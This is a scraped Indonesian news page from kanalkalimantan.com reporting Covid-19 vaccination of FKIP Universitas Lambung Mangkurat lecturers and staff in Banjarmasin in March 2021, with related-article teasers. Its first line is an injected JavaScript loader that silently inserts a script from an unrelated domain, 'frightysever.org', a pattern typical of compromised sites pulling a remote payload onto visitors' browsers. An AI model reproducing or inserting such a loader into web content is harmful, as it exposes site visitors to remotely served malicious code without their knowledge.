(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dosen dan karyawan Fakultas Keguruan Ilmu Pendidikan (FKIP) Universitas Lambung Mangkurat (ULM) menjalani vaksinasi Covid-19, Senin (8/3/2021).
Dekan FKIP ULM Dr Chairil Faif Pasani MSi mengatakan, proses vaksinasi berlangsung di gedung kampuas Aula Hasan Bondan.
Kampus FKIP ULM merupakan perguruan tinggi pertama di Kota Banjarmasin yang mengikuti vaksinasi ini untuk membentuk kekebalan kelompok.
“Sebelumnya kita pernah kerja sama saat tracking Covid-19, lalu ditawarkan Puskesmas Alalak Selatan untuk vaksinasi, dan kami bersedia karena vaksinasi tahap kedua ini perguruan tinggi masuk dalam pelayanan publik,” ucap Dekan FKIP ULM.
Pada vaksinasi tahap kedua ini diikuti oleh 60 dosen dan karyawan FKIP ULM, diantaranya termasuk para guru besar, ketua jurusan dan program studi yang masuk dalam kategori lansia.
Untuk jumlah keseluruhanya, Dekan FKIP ULM mengatakan sebanyak 325 dosen dan 75 staf karyawan FKIP ULM akan mengikuti vaksinasi secara bertahap.
Namun diakuinya juga bahwa tidak semua dosen dan karyawan melakukan vaksinasi, karena memliki komorbid penyakit penyerta.
Ia mengapresiasi para dosen dan karyawan yang sudah mengikuti vaksinasi sebagai langkah memulai perkuliahan secara tatap muka, rencanannya dimulai pada 15 Maret 2021.
“Ini termasuk langkah awal kita sebelum melaksanakan pengajaran kuliah secara tatap muka, walaupun juga ada dosen yang memliki komorbid, penyakit penyerta jadi tidak divaksin,” ucapnya.
Dr Chairil Faif Pasani MSi juga mengatakan rasa pertama kali irinya divaksin bahwa tidak seperti yang dibayangkan banyak orang.
“Prosesnya cepat hanya sekali suntikan setelah itu diminta menunggu 30 menit untuk melihat reaksi, jika ada perubahan ditindaklanjuti. Setelah itu mendapat sertifikat untuk kemudian kembali (vaksinasi) kedua,” ujarnya.
Tim screaning vaksinasi Covid-19 Puskesmas Alalak Selatan dr Ella Isedora Simanjuntak mengatakan layanan vaksinasi adalah layanan jemput bola.
“Jadi para pengajar pendidik diprioritaskan, mengingat beliau-beliau ini memiliki kontak erat dengan banyak orang, jadi kita jemput bola, di dalam gedung berjalan, di luar gedung juga berjalan dengan menjemput bola sesuai instansi yang termasuk wilayah target kita,” terang dr Ella.
Kepala Puskesmas Alalak Selatan mengatakan untuk pola jemput bola vaksinasi dengan berskala besar massal ini adalah hal yang pertama dilakukan Puskesmas Alalak Selatan. Program vaksinasi akan terus berlanjut bagi dosen dan karyawan lainnya.
“Vaksinasi ini yang pertama, dan pertahap mengingat satu vial vaksin ini untuk 10 orang, jadi digenapkan. Dan akan dijadwalkan tahap selanjutnya,” pungkasnya. (kanalkalimantan.con/putra)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.